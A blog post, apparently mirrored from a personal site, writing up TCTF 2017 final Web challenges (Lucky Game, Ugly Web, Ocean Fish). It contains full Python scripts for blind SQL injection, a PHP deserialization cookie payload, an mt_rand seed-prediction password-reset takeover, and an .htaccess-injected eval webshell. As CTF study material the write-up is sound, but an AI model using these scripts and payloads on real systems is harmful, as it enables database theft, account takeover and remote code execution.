8

TCTF 2017 Final 部分 Web 题 Writeup

 3 years ago
source link: https://phuker.github.io/tctf2017-final-web.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

近期洒家参加了 TCTF 决赛 RisingStar CTF,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。

关于比赛

说起来这还是洒家第一次坐飞机,飞机上景色不错,起飞和降落的时候加速度给人很爽的感觉。然而飞到深圳,一出地铁洒家就慌了,真不是埋汰他,这城市是真滴很热。不过这里也有好的地方,每个建筑物里面肯定有空调。所以洒家这几天除了比赛和参观都不出门,什么景点都没看。

赛场上见识了很多国内和国际的大佬,后者有 Shellphish、LC⚡BC 等,以及有女装大佬的 Binja。

tctf2017-final.jpg都是大佬

比赛中洒家主要负责 Web 方面,题目很有难度,主要思路是跟着国际赛的计分板走。第一天在做 Avatar Center,首先发现了一个 SQL 注入,把数据库扒了个底朝天也没发现 flag,又研究设置头像功能和设置时区功能一直没有搞清程序的逻辑。然而让人意外的是,一次登录之后突然发现 flag 出现在了本应该显示时区的位置。洒家走了狗屎运,捡漏了!后来才知道可以扫出来一个 FTP 端口拿源码,设置时区那里有命令注入漏洞(黑人问号???)。这道题做了很长时间没有头绪,但是计分板显示已经有很多人解出这道题,那么这时候应该想到是不是存在没有注意到的信息,可以考虑扫描端口目录等。

拿到这个 flag 后,第一天的比赛快结束了,考虑到 Ugly Web 有一堆源码需要审计,也有很多人解出来了这道题,回到酒店主要在审计源码。洒家很快发现了第一个漏洞(反序列化 + SQL 注入),本地环境可以拿到 2 个 flag,但是很怕这里面有坑,因为大家都只做出来了第 1 个 flag。果然,第二天开场运行脚本只能拿到一个 flag。第二天上午因为搞不出来 Ugly Web flag 2,洒家转向了 Ocean Fish,很快发现了 SQL 注入漏洞,拿到了 admin 密码作为第 1 个 flag。进入后台之后,找到了执行任意 PHP 代码的方法,也分析出来 flag 肯定就在 OPCache 里面。但是有 disable_functionsopen_basedir 的限制并不能拿到 OPCache。赛后才知道要用到 SQLite 的 bug/feature 来绕过。

比赛过程中断断续续分析了 Lucky game,但是 WAF 太厉害,并不能解出这道题。在这里必须要膜一下 AAA 战队的大佬。

最后做出了 Web 的 3 道题,总体拿到了 Rising Star CTF 第 7 的成绩。

以下是部分题目的记录。

Lucky Game

这道题的主要功能是猜数字,首先注册、登录,然后可以用 10 个 points 的本金赌猜数字。题目的 flag 是 md5(password_of_admin)。题目给出了 index.php 的源码,代码非常简洁只有二百余行,显然是 SQL 注入来拿 admin 的密码 md5,但是却暗藏玄机。

初步分析代码

  • 有一个 filter 函数,除了常见的几个 SQL 黑名单之外还过滤了数据库的所有表名、列名
    • registerloginuser_logmy_point 函数都经过 filter 函数过滤。综合来看,所有进入 SQL 的用户输入都经过了 filter 过滤。
  • 所有的 $_GET $_POST 的值都经过了 mysqli_escape_string 转义
    • 登录、注册受到影响。
  • 猜数字的参数使用了 $_REQUEST['bet']$_REQUEST['guess'],不会被转义
  • 简单的测试可以发现,数据库在 INSERT 的时候,会拒绝对于该字段过长的输入,猜测是开启了 STRICT_TRANS_TABLES 这种 sql_mode

两个 SQL 注入漏洞:

  • 登录、注册经过了转义,但是登录成功之后 $_SESSION['user'] 存储的是原始没有经过转义的用户名,可以在后面的 my_point 函数造成二次注入。
    • 但是 update_point 函数使用了数字型的 $_SESSION['id'],不会有注入风险。
  • user_log 函数可以 INSERT 注入
    • 每轮游戏之后如果猜对了数字,会执行 update_point($_REQUEST['bet']),这个函数的 SQL 语句使用 %d 格式化字符串,无法注入;随后调用 user_log 函数,参数不会被转义,只经过了 filter 函数过滤,可以 SQL 注入。但是如果没有猜对数字,则会执行 update_point(-$_REQUEST['bet']),这时候这个参数被类型转换成了数字型,无法注入。根据代码成功概率是 。
    • user_log 函数中可以利用数据库的严格模式,报错实现盲注(Error-based blind SQL injection)。可以用以下报错方法:插入超长数据报错、数据类型不匹配报错、除零报错等。

难点

我在发现这两个漏洞之后,注册了一个 'union select 1,1,1,'98 账号,避免余额不足的问题;然后写脚本用后面的盲注查询了一堆 version()user()。但是如果要查询 admin 的密码,绕不开 filter() 的限制。以前如果只限制了列名,还可以用别名等 trick 绕过,然而这里限制了表名,只能当场 GG。

绕过 filter() 的整体思路

赛后看了小 m 的博客以及听了主办方讲解,知道了可行的方法:

整个代码的执行过程是同一次 MySQL 连接,可以用在二次注入中用 SELECT ... INTO SyntaxSELECT 的结果弄到一个变量里面,然后再用另一个 SQL 盲注漏洞把变量查询出来。用 MySQL 变量把两个漏洞结合起来,巧妙地绕过了 filter()

那么整体的思路是:

注册用户 admin' into @a,@b,@c,@d#,用户名二次注入在 my_point() 中形成 SQL 语句:

SELECT * FROM users WHERE username = 'admin' into @a,@b,@c,@d#'

然后使用 INSERT 盲注,只需要查询 @c 变量,就绕过了 filter() 的限制。

以上是大概的思路。然后还要解决用户名的副作用:由于 SELECT 的结果进入了变量,不会把结果集返回给 PHP,my_point() 函数返回值是 int 0,需要在后面处理余额为 0 的问题。需要满足条件:

(int)$_REQUEST['bet'] > 0 && !($_REQUEST['bet'] > $points) // $points === 0

看似矛盾,但是作为最好的语言,PHP 必有特性。经过一番试验,在特定 PHP 版本下,由于使用 (int) 强制类型转换和比较运算时类型转换规则和结果的不同,科学记数法 1e-10000 在强制类型转换的时候值为 1,然而在和 0 比较时,则会等于 0

var_dump((int)'1e-10000'); // 1
var_dump('1e-10000' == 0); // true

根据这个特性,$_REQUESTS['bet']1e-10000 开头就可以成功注入。

攻击脚本

实际运行可以发现,由于只有猜数字赢了才能注入,成功率较低。洒家优化了脚本,尽可能减少请求次数。由于需要得到的是 md5 只由 0-9 a-f 组成,所以只获取 3-4 个 ASCII 的二进制位就可以确定这个字符。脚本用了数据类型不匹配报错。

# encoding: utf-8
import requests
import string
import random
import sys
import logging

logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s [%(levelname)s]:%(message)s',
                    datefmt='%H:%M:%S',
                    stream=sys.stdout)

# generate 4 chars as mysql variable
db_variables = []
while True:
    ch = random.choice(string.ascii_lowercase)
    if ch not in db_variables:
        db_variables.append(ch)
        if len(db_variables) == 4:
            break

username = "admin' into %s#" % (','.join(['@' + ch for ch in db_variables]), )
password = '1234321'
# proxies = {'http': '127.0.0.1:8080'} # Burp Suite, for debug
proxies = None
url = 'http://192.168.201.3/' # 比赛场地内网

sess = requests.Session()
sess.proxies = proxies

logging.info('url: %s', url)
logging.info('username: %s', username)

# register
logging.info('register')
sess.post(url, params={'action': 'register'}, data={'user': username, 'pass': password})

# login
logging.info('login')
r = sess.post(url, params={'action': 'login'}, data={'user': username, 'pass': password})
if '<h2>You got ' not in r.content:
    logging.error('register or login failed')
    sys.exit(1)
else:
    logging.info('login success')


request_count = 0


def bin_place(offset, times):
    '''
    get ascii binary place at offset (offset starts from 1 in sql)
    e.g. 'abcde' is admin's password
    bin_place(2, 3)  ord(substr('abcde',2,1)) =  0b110 0 010 return 0
    bin_place(1, 5)  ord(substr('abcde',3,1)) =  0b1 1 00001 return 2 ** 5
    '''
    global request_count

    num = 2 ** times
    payload = "1e-10000'),(if(ord(substr((select @%s),%d,1))&%d,'a',5),'s')#" % (db_variables[2], offset, num)
    params = {'bet': payload, 'guess': '5'}

    while True:  # until win
        request_count += 1
        r = sess.get(url, params=params)
        if 'won' in r.content:    # update_point($_REQUEST['bet']), can sql inject
            if '</html>' in r.content:
                return 0    # not error
            else:
                return num  # error

result = ''
logging.info('retrieving admin password md5')
for offset in xrange(1, 32 + 1):
    # for md5 0-9a-f, only need to get part of binary places
    if bin_place(offset, 6):   # a - f
        result += chr(ord('a') - 1 + bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2))
    else:   # 0 - 9
        result += '%d' % (bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2) + bin_place(offset, 3), )
    logging.info('retrieved: %s', result)


logging.info('end with %d requests', request_count)
logging.info('flag is: flag{%s}', result)

Ugly Web

题目是一个站内信系统,给出了一大堆源码。功能有注册、登录、重置、发送消息、显示消息。粗略看了一下还有 3 个类:UserMessageMessageManager。这套代码里面有 2 个 flag,分别对应分开的两个题目。第一个在数据库中,显然需要 SQL 注入获得,第二个在 config.php,用 admin 账号登录时发送。同时这道题目有两台服务器,之间的代码有区别,分别存储两个 flag。

开始代码审计 必须戴好安全帽

洒家在酒店花了几个小时的时间看了大部分代码。首先轻松发现了第一个漏洞。这个漏洞理论上可以在两道题目上使用,但是第二天实际运行可以发现第二个服务器的代码做了修改,已经无法利用。然后洒家看了剩下的大部分代码也没有发现漏洞。这里洒家犯了严重的错误,在用第一个漏洞干掉两道题之后,漏掉了 reset.php 没有看。毕竟还是 too young too simple,还是缺乏章法和经验,一场严谨正常的比赛,不可能用一个漏洞拿两个 flag。

吐槽

PHP 作为弱类型、动态类型的编程语言,直接看到一个函数根本无法确定它的参数都是什么数据类型。对于关键的函数必须分析函数调用关系,确定参数、变量可能的数据类型。个人认为,PHP 因为有这样的特点,有各种特性古怪的函数,以及有其他的特点,导致了它的程序容易出现不容易发现的漏洞,增加写出正确程序、审计代码的成本。

漏洞 1 PHP 反序列化 + SQL 注入

escape() 函数

网站的功能的实现都已经抽象对这 3 个类的操作,因此分析这 3 个类的代码很重要。User 类中有一个 escape() 函数引人注意:

<?php
function escape($str)
{
    if (is_array($str)) // escape 值,不 escape 键
    {
        $str = array_map([&$this, 'escape'], $str);
        return $str;
    }
    else if (is_string($str))
    {
        return $this->dbConn->real_escape_string($str);
    }
    else if (is_bool($str))  // int 0 1
    {
        return ($str === false) ? 0 : 1;
    }
    else if ($str === null) // string 'NULL'
    {
        return 'NULL';
    }
    return $str;  // 其他类型直接返回原值,不过滤
}

这个函数对于 arraystringboolnull 都有操作,但是对于其他数据类型直接返回原始值。其他数据类型有什么可能?常见的就是 int float,还有一个重要的 object

登录

User->login($email, $password, $remember = false, $loadUser = true) 会对 $email escape() 处理,$password 变为 md5,直接传入 $email$password 字符串不存在 SQL 注入漏洞。

网站登录的地方有一个 Remember me 的功能,如果选中则会在 User->login() 中登录成功后返回一个 Cookie,内容是 array('email'=>$email,'password'=>$originalPassword) 的序列化字符串。当 session 为空,但是发送了这个 Cookie,会反序列化这个字符串,将这个数组的成员作为参数传入 User->login() 自动登录。

反序列化漏洞 + SQL 注入

这里自然可以考虑 PHP 反序列化漏洞。除了 User 类之外还有两个类可以考虑使用,经过观察 Message 类有一个 __toString 魔术方法:

<?php
class Message{
    var $msg = "";
    var $from = "";
    var $to = "";
    var $id = -1;

    function __construct($from, $to, $msg, $id=-1) {
        // ....
    }

    function __toString(){
        return $this->msg;
    }
}

结合上面对 User->escape() 的分析,可以把 Message 对象作为 $email 传入 User->login(),对象可以直接绕过 escape,然后在拼接 SQL 时,会调用 Message->__toString() 返回 Message->msg,将 Message->msg 直接拼接进入 SQL 语句,造成 SQL 注入漏洞。下面是登录任意账号的方法:

<?php
$payload = '[email protected]\'#';
$msg = new Message('a','b',$payload,-1);
$rem = ['email'=>$msg,'password'=>'p'];
echo base64_encode(serialize($rem));

分析其他代码,这一个用户输入并不容易进入更深的程序中,并不容易直接显示 flag。因此我使用了 Boolean-based blind 盲注获得数据库中的 flag。

脚本 select flag from flag

#!/usr/bin/env python
# encoding: utf-8

import sys
import os
import requests
import phpserialize
import time
import logging

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s]:%(message)s',
    datefmt='%H:%M:%S',
    stream=sys.stdout,
)

# s:87:"no.nc'or `email`=if(substr((select flag from flag),1,1)='f', '[email protected]','no.nc') -- ";
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg"; XXX s:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}

flag = ''
#payload_template = "no.nc'or `email`=if(ascii(substr((select password from users where userID=1),%d,1))&%d, '[email protected]','no.nc') -- "
payload_template = "no.nc'or `email`=if(ascii(substr((select flag from flag),%d,1))&%d, '[email protected]','no.nc') -- "
ckSavePass_template = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";%ss:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}'

default_domain = sys.argv[1]  # 'http://192.168.0.181:23352/'
domain = default_domain

url = domain + 'login.php'
offset = 1

if 'ALL_PROXY' in os.environ:
    proxies = os.environ['ALL_PROXY']
    logging.warning('Using proxy: %s', repr(proxies))
else:
    proxies = None


while '}' not in flag:
    place_ascii = 0
    for power in xrange(0, 7):
        power_num = 2 ** power
        payload = payload_template % (offset, power_num)
        payload = phpserialize.dumps(payload)
        cksavePass = ckSavePass_template % (payload, )
        ckSavePass = cksavePass.encode('base64').replace('\n','').replace('=','')

        sess = requests.Session()  # new session
        sess.proxies = proxies

        r = sess.get(url, cookies = {'ckSavePass':ckSavePass}, allow_redirects=False)
        # print len(r.content)
        if r.status_code == 200:  # login failed
            print 0,
        else:    # login success, redirect to index.php
            print 1,
            place_ascii += power_num

    flag += chr(place_ascii)
    print flag
    offset += 1

漏洞 2 预测 mt_rand() 重置 admin 密码

比赛过程中直接用漏洞 1 的代码攻击服务 2,会出现 500 错误。代码已经被修改,必须用别的漏洞拿到 admin 的 Cookie 中的 flag。

查看 reset.php,这个页面的功能是找回密码。填写注册时的邮箱,程序会发送邮件,内容是一串随机字符串。正确填写字符串就能重置密码。

漏洞

值得注意的是对于所有的请求,都会类似的随机字符串 csrftoken。按顺序,这些随机字符串是这样生成的:

<?php
// config.php
function gencsrftoken($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    $csrf = '';
    for($i = 0; $i < $length; $i++) {
        $csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $csrf;
}

$csrftoken = gencsrftoken();
setcookie('csrftoken', $csrftoken, time()+3600, $base_path);

// user.class.php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    for($i = 0; $i < $length; $i++) {
        $pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $pwd;
}

// reset.php
$h = $user->randomPass(20);
$email = 'Reset password code is: '.$h;
mail($_POST['email'], 'Reset your password', $email);

显然可以预测重置密码随机字符串。

这里还要拿出 php_mt_seed 工具。以前的使用方法是 ./php_mt_seed 第一个随机数,后来看了说明才知道 php_mt_seed 也可以用于 mt_rand($min, $max) 的场景。运行 ./php_mt_seed 6 6 0 9 6 6 0 9 4 4 0 9,参数 4 个一组,例如:7 8 0 9 表示 mt_rand(0, 9) 返回了 7-8。

然而在本地复现的时候,Apache 环境 mt_rand 播种之后似乎有了复用,在第一个随机数生成之前手动加入 mt_srand() 才能成功预测出种子。

漏洞利用脚本

需要用到编译好的 php_mt_seed,stdbuf、php 命令,以及下面两个脚本

#!/usr/bin/env python
# encoding: utf-8

import sys
import os
import subprocess
import requests
import logging
import random
import urllib

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s]:%(message)s',
    datefmt='%H:%M:%S',
    stream=sys.stdout
)

admin_mail = '[email protected]'
new_admin_password = 'pwned{}'.format(random.randint(100000, 999999))

index_url = sys.argv[1]  # 'http://192.168.0.181:23353/'
logging.info('target is %s', index_url)
reset_url = index_url + 'reset.php'
login_url = index_url + 'login.php'

sess = requests.Session()
if 'ALL_PROXY' in os.environ:
    __ = os.environ['ALL_PROXY']
    logging.warning('Using proxy: %s', repr(__))
    sess.proxies = {
        'http': __,
        'https': __,
    }

chars = '1234567890qwertyuiopasdfghjklzxcvbnm'
keygen_phpfile = './random-cli.php'
php_mt_seed = 'php_mt_seed'
success_str = 'Password changed'
length = len(chars)

logging.info('checking environment and tools...')
ENV_OK = True
if subprocess.call(['which', php_mt_seed]) != 0:
    logging.critical('%s not found', php_mt_seed)
    ENV_OK = False
if not os.path.isfile(keygen_phpfile):
    logging.critical('%s not found', keygen_phpfile)
    ENV_OK = False
if subprocess.call('type php', stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) != 0:
    logging.critical('php cli not found')
    ENV_OK = False
else:
    phpinfo = subprocess.check_output(['php', '-v'])
    logging.info('php found: %s', phpinfo[0:phpinfo.find('\n')])

if subprocess.call('type stdbuf', stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True) != 0:
    logging.critical('stdbuf not found')
    ENV_OK = False

if not ENV_OK:
    logging.info('exiting')
    sys.exit(2)

logging.info('testing url available...')
try:
    r = sess.get(index_url)
    if r.status_code != 200:
        logging.critical('response code for %s is %d != 200', index_url, r.status_code)
        sys.exit(1)
except Exception as e:
    logging.critical('error %s %s', str(type(e)), str(e))
    sys.exit(1)


logging.info('sending reset password for %s', admin_mail)
r = sess.post(reset_url, data={'email': admin_mail, 'csrftoken': 'abc'}, cookies={'csrftoken': 'abc'}, allow_redirects=False)
csrf_token = r.cookies['csrftoken']
logging.info('csrf token: %s', csrf_token)

logging.info('running php_mt_seed, please wait 5 min...')
cmd = ['stdbuf', '-i0', '-o0', '-e0', php_mt_seed, ]
for ch in csrf_token:
    offset = chars.find(ch)
    cmd += ('%d %d %d %d ' % (offset, offset, 0, length-1)).split()
logging.debug('php_mt_seed command: %s', ' '.join(cmd))

proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
    line = proc.stdout.readline()
    if line == '':
        break
    elif line.strip() == '':
        continue
    elif not line.startswith('seed = '):
        continue
    else:  # 'seed = 16777230'
        seed = line.strip()[7:]

        #logging.info('there may be multiple possible seed. input them all. e.g. 1234 5678')
        #seeds = raw_input('input seeds: ').strip().split()
        print ''
        sys.stdout.flush()
        sys.stderr.flush()

        logging.info('get seed %s', seed)
        cmd = ['php', keygen_phpfile, seed]
        code = subprocess.check_output(cmd).strip()
        logging.info('verify code is %s', code)
        r = sess.post(reset_url, data={'reset': code,'pwd': new_admin_password, 'csrftoken':'abc'}, cookies={'csrftoken': 'abc'})
        if success_str in r.content:
            proc.terminate()

            logging.info(success_str)
            logging.info('new password for %s is %s', admin_mail, new_admin_password)
            logging.info('getting flag...')
            r = sess.get(login_url)
            csrf_token = r.cookies['csrftoken']
            r = sess.post(login_url, data={'uname': admin_mail, 'pwd': new_admin_password, 'csrftoken': csrf_token})
            r = sess.get(index_url)
            for cookie in r.cookies:
                if cookie.name != 'csrftoken':
                    logging.info('Cookie key %s value %s', cookie.name, urllib.unquote_plus(cookie.value))
        else:
            logging.info('code %s is wrong', code)

print ''
logging.info('exiting')

random-cli.php

<?php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
    $pwd = '';
    for($i = 0; $i < $length; $i++) {
        $pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
    }
    return $pwd;
}
if(count($argv) === 2){
    // echo PHP_INT_SIZE;
    $seed = intval($argv[1]);
    if(version_compare(PHP_VERSION, '7.1.0') >= 0){
        mt_srand($seed, MT_RAND_PHP);
    } else {
        mt_srand($seed);
    }

    $csrf_token = randomPass();
    $reset_code = randomPass(20);
    echo $reset_code . "\n";
}

Ocean Fish

这道题也是分两个 flag。第一个 flag 提示 Flag1 is Admin's password,做法详见 TCTF 2017 FINAL WEB PARTIAL WRITEUP - Melody

拿到 admin 密码之后登进后台,可以执行任意 MySQL、SQLite3 的语句,也可以写入 .htaccess 来控制 url rewrite。

<?php
// /application/controllers/Admin.php
public function rewrite()
{
    if(isset($_POST["rule"]))
    {
        file_put_contents("/var/www/html/.htaccess", "RewriteRule ".$_POST['rule']."\n", FILE_APPEND);
    }
}

显然可以用换行符对 .htaccess 进行注入。洒家把 .htaccess 设置为:

RewriteRule ^abcd .index.php/abcd
# <?php eval($_GET['cmd']); ?>
php_value auto_prepend_file /var/www/html/.htaccess

这样运行任意 .php 文件都会首先包含这个 .htaccess,执行注释中的代码,从而 getshell。

本来想着已经能执行任意 php 代码了美滋滋,没想到后面还有大坑:服务器设置了 disable_functionsopen_basedir,并不知道怎么绕过。

另外拿到了一个 crackme.php:

<?php
    function ccc($uuu){
        return TRUE;
    }
    $user_input = $_GET['license'];
    if(ccc($user_input)){
        echo 'YES, FLAG IS flag{'.$user_input.'}';
    }
?>

实际运行结果和代码逻辑不一样,猜测是重写了 OPCache 的缓存代码,由于 open_basedir 限制并不能拿到 OPCode。

赛后知道了绕过 open_basedir 的方法:Pwn SQLite3 特性还是漏洞?滥用 SQLite 分词器 - 长亭科技

参考


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK